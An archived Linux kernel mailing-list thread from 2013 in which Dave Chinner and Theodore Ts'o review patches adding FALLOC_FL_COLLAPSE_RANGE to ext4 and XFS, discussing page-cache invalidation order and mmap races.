xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon Subject: Re: [PATCH 3/3] ext4: Implement FALLOC_FL_COLLAPSE_RANGE Message-ID: <20130801024800.GK7118@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/3] ext4: Implement FALLOC_FL_COLLAPSE_RANGE References: <1375281746-15908-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1375281746-15908-1-git-send-email-linkinjeon@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1375325284 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137474 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 31, 2013 at 11:42:26PM +0900, Namjae Jeon wrote: > From: Namjae Jeon > > New fallocate flag FALLOC_FL_COLLAPSE_RANGE implementation for Ext4 ..... > + > + punch_start = offset >> EXT4_BLOCK_SIZE_BITS(sb); > + punch_stop = (offset + len) >> EXT4_BLOCK_SIZE_BITS(sb); > + > + rounding = max_t(uint, 1 << EXT4_BLOCK_SIZE_BITS(sb), PAGE_CACHE_SIZE); > + ioffset = offset & ~(rounding - 1); > + > + /* Write out all dirty pages */ > + ret = filemap_write_and_wait_range(inode->i_mapping, ioffset, -1); > + if (ret) > + return ret; > + > + /* Take mutex lock */ > + mutex_lock(&inode->i_mutex); > + > + truncate_pagecache_range(inode, ioffset, -1); Ted, that's invalidating the page cache from the start of the collaspse range to the end of the file. So the ext4 code is doing this bit correctly. Why isn't this in the XFS patches? Clearly the need for this was understood, and, well, this code is obviously copied from the XFS hole punching code. i.e. from xfs_free_file_space(). > + /* Wait for existing dio to complete */ > + ext4_inode_block_unlocked_dio(inode); > + inode_dio_wait(inode); That should be done before invalidating the pagecache.... > + credits = ext4_writepage_trans_blocks(inode); > + handle = ext4_journal_start(inode, EXT4_HT_TRUNCATE, credits); > + if (IS_ERR(handle)) { > + ret = PTR_ERR(handle); > + goto out_dio; > + } > + > + down_write(&EXT4_I(inode)->i_data_sem); > + > + ext4_discard_preallocations(inode); > + > + ret = ext4_es_remove_extent(inode, punch_start, > + EXT_MAX_BLOCKS - punch_start - 1); > + if (ret) > + goto journal_stop; > + > + ret = ext4_ext_remove_space(inode, punch_start, punch_stop - 1); > + if (ret) > + goto journal_stop; So, this code punches out the existing space in the file so that the extent shifting is moving extents into a hole. Why is this in the ext4 code, but not the XFS code? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 31 21:59:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 30F2C7CBF for ; Wed, 31 Jul 2013 21:59:37 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id C26948F8033 for ; Wed, 31 Jul 2013 19:59:36 -0700 (PDT) X-ASG-Debug-ID: 1375325970-04bdf02f222c9430001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id W98XnUNe4MRYZf6Y for ; Wed, 31 Jul 2013 19:59:30 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjgFAInO+VF5LPxHgWdsb2JhbABbDr0BhS6BIBcOAQEWJiiCJAEBBAE6HCgLCAMYCSUPBSUDIQESiAoFuUMWj3iECwOUCINWiiKKAlAq Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 01 Aug 2013 12:29:16 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V4j6g-0005It-If; Thu, 01 Aug 2013 12:59:14 +1000 Date: Thu, 1 Aug 2013 12:59:14 +1000 From: Dave Chinner To: Theodore Ts'o , Namjae Jeon , adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon Subject: Re: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE Message-ID: <20130801025914.GL7118@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE References: <1375281721-15840-1-git-send-email-linkinjeon@gmail.com> <20130731220154.GA11378@thunk.org> <20130801002341.GI7118@dastard> <20130801004645.GC11378@thunk.org> <20130801005447.GS13468@dastard> <20130801010751.GD11378@thunk.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130801010751.GD11378@thunk.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1375325970 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137474 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 31, 2013 at 09:07:52PM -0400, Theodore Ts'o wrote: > On Thu, Aug 01, 2013 at 10:54:47AM +1000, Dave Chinner wrote: > > > It's not just the range that it's operating on, but also the region > > > beyond the range that's been collapsed out. > > > > Yes, that's part of "the range that it is operating over". > > > > > A quick eyeball of the patch didn't seem to show any code that handled > > > this, which is why I asked the question. > > > > Right, but really it's the least of the problems I've noticed - the > > XFS code is fundamentally broken in many ways - once I've finished > > commenting on it, I'll have a quick look to see if the ext4 code has > > the same fundamental flaws.... > > Well, the fundamental flaw of potential races if the file being > collapsed has been mmap'ed and there is another process making changes > beyond the range that is being collapsed is I suspect one that is > going to be very hard to solve, short of not allowing the collapse > while there are any read/write mmap's for the file in question. This funtionality is not introducing any new problems w.r.t. mmap(). In terms of truncating a mmap'd file, that can already occur and the behaviour is well known. The current patches don't do the operations in the correct order to ensure this is handled correctly (i.e. the inode size has to be changed before the page cache invalidation, not after), but otherwise there is no new issues introduced here. The real problem is that it has the same problem as hole punching w.r.t. not being able to serialise page faults against the extent manipulations after the page cache invalidation has occurred. That's what Jan Kara's range locking patches we talked about at LSFMM will address, and so is beyond the scope of this patchset. > And I would think these sorts of VM issues should be handled with some > generic library functions, instead of reimplementing them from scratch > in each file system. Well, yes, we have one - truncate_page_cache_range(), and it's used correctly in the ext4 patch.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From tytso@thunk.org Wed Jul 31 23:06:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 865297CBF for ; Wed, 31 Jul 2013 23:06:25 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D2880AC003 for ; Wed, 31 Jul 2013 21:06:21 -0700 (PDT) X-ASG-Debug-ID: 1375329976-04cb6c2e9c2c4360001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id a1aCyFnwPFxHNMcE (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Wed, 31 Jul 2013 21:06:16 -0700 (PDT) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1V4k9O-0005sW-W5; Thu, 01 Aug 2013 04:06:07 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id BA9D0580764; Thu, 1 Aug 2013 00:06:05 -0400 (EDT) Date: Thu, 1 Aug 2013 00:06:05 -0400 From: Theodore Ts'o To: Dave Chinner Cc: Namjae Jeon , adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon Subject: Re: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE Message-ID: <20130801040605.GA20351@thunk.org> X-ASG-Orig-Subj: Re: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE Mail-Followup-To: Theodore Ts'o , Dave Chinner , Namjae Jeon , adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon References: <1375281721-15840-1-git-send-email-linkinjeon@gmail.com> <20130731220154.GA11378@thunk.org> <20130801002341.GI7118@dastard> <20130801004645.GC11378@thunk.org> <20130801005447.GS13468@dastard> <20130801010751.GD11378@thunk.org> <20130801025914.GL7118@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130801025914.GL7118@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1375329976 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137475 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Aug 01, 2013 at 12:59:14PM +1000, Dave Chinner wrote: > > This funtionality is not introducing any new problems w.r.t. mmap(). > In terms of truncating a mmap'd file, that can already occur and > the behaviour is well known. That's not race I'm worried about. Consider the following scenario. We have a 10 meg file, and the first five megs are mapped read/write. We do a collapse range of one meg starting at the one meg boundary. Menwhile another process is constantly modifying the pages between the 3 meg and 4 meg mark, via a mmap'ed region of memory. You can have the code which does the collapse range call filemap_fdatawrite_range() to flush out to disk all of the inode's dirty pages in the page cache, but between the call to filemap_fdatawrite_range() and truncate_page_cache_range(), more pages could have gotten dirtied, and those changes will get lost. The difference between punch_hole and collapse_range is that previously, we only needed to call truncate_page_cache_range() on the pages that were going to be disappearing from the page cache, so it didn't matter if you had someone dirtying the pages racing with the punch_hole operation. But in the collapse_range case, we need to call truncate_page_cache_range() on data that is not going to disappear, but rather be _renumbered_. I'll also note that depending on the use case, doing the renumbering of the pages by throwing all of the pages from the page cache and forcing them to be read back in from disk might not all be friendly to a performance sensitive application. In the case where the page size == the fs block size, instead of throwing away all of the pages, we could also have VM code which remaps the pages in the page cache (including potentially editing the page tables for any mmap'ed pages). This of course gets _much_ more complicated, and we still have to deal with the case where the collapse_range call is aligned with the fs block size, but which is not aligned or is not a muliple of the page size. - Ted From david@fromorbit.com Wed Jul 31 23:32:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8B0067CBF for ; Wed, 31 Jul 2013 23:32:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 710C08F8035 for ; Wed, 31 Jul 2013 21:32:27 -0700 (PDT) X-ASG-Debug-ID: 1375331545-04cb6c2e9d2c5700001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id CvGcNtsGrTjOL6tq for ; Wed, 31 Jul 2013 21:32:25 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjgFANfj+VF5LPxHgWdsb2JhbABTCA69AYUugSAXDgEBFiYogiQBAQQBOhwoCwgDGAklDwUlAyEBEogKBbk7Fo41gUOECwOXXooiigJQKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 01 Aug 2013 14:02:24 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V4kYm-0005TI-R7; Thu, 01 Aug 2013 14:32:20 +1000 Date: Thu, 1 Aug 2013 14:32:20 +1000 From: Dave Chinner To: Theodore Ts'o , Namjae Jeon , adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon Subject: Re: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE Message-ID: <20130801043220.GN7118@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE References: <1375281721-15840-1-git-send-email-linkinjeon@gmail.com> <20130731220154.GA11378@thunk.org> <20130801002341.GI7118@dastard> <20130801004645.GC11378@thunk.org> <20130801005447.GS13468@dastard> <20130801010751.GD11378@thunk.org> <20130801025914.GL7118@dastard> <20130801040605.GA20351@thunk.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130801040605.GA20351@thunk.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1375331545 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137476 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Aug 01, 2013 at 12:06:05AM -0400, Theodore Ts'o wrote: > On Thu, Aug 01, 2013 at 12:59:14PM +1000, Dave Chinner wrote: > > > > This funtionality is not introducing any new problems w.r.t. mmap(). > > In terms of truncating a mmap'd file, that can already occur and > > the behaviour is well known. > > That's not race I'm worried about. Consider the following scenario. > We have a 10 meg file, and the first five megs are mapped read/write. > We do a collapse range of one meg starting at the one meg boundary. > Menwhile another process is constantly modifying the pages between the > 3 meg and 4 meg mark, via a mmap'ed region of memory. > > You can have the code which does the collapse range call > filemap_fdatawrite_range() to flush out to disk all of the inode's > dirty pages in the page cache, but between the call to > filemap_fdatawrite_range() and truncate_page_cache_range(), more pages > could have gotten dirtied, and those changes will get lost. That's one of the many race conditions that Jan's patches are intended to solve. Locking the range and then unmapping the pages will then cause the refault to block until the range is unlocked. While the range is locked, we can then writeback all the dirty pages, invalidate the page cache and modify the underlying extents without having to care about user page faults racing with the operation. Let's face it, without that we current cannot serialise *any* multi-page page cache operation against mmap() - direct IO has exactly the same problems as you are describing, as does hole punching, and anything else that relies on the i_mutex or other IO-based locks for serialisation. > The difference between punch_hole and collapse_range is that > previously, we only needed to call truncate_page_cache_range() on the > pages that were going to be disappearing from the page cache, so it > didn't matter if you had someone dirtying the pages racing with the > punch_hole operation. But in the collapse_range case, we need to call > truncate_page_cache_range() on data that is not going to disappear, > but rather be _renumbered_. Sure - as it said up front "the range of the pages being operated on" need to be invalidating. And, if you look at the ext4 patch, is actaully does exactly that.... > I'll also note that depending on the use case, doing the renumbering > of the pages by throwing all of the pages from the page cache and > forcing them to be read back in from disk might not all be friendly to > a performance sensitive application. Application problem. Besides, this is for accelerating video stream editting (i.e. NLE workflows). Such applications tend to use direct IO for recording and playback, and they most certainly won't have concurrent access to the video stream either by mmap or direct/buferred IO while the non linear editor is punching the advertisements out of the recorded video stream...... > In the case where the page size == the fs block size, instead of > throwing away all of the pages, we could also have VM code which > remaps the pages in the page cache (including potentially editing the > page tables for any mmap'ed pages). That way lies insanity. Not to mention that it's completely unnecessary for the use case this ioctl is actually accelerating. Cheers, Dave. -- Dave Chinner david@fromorbit.com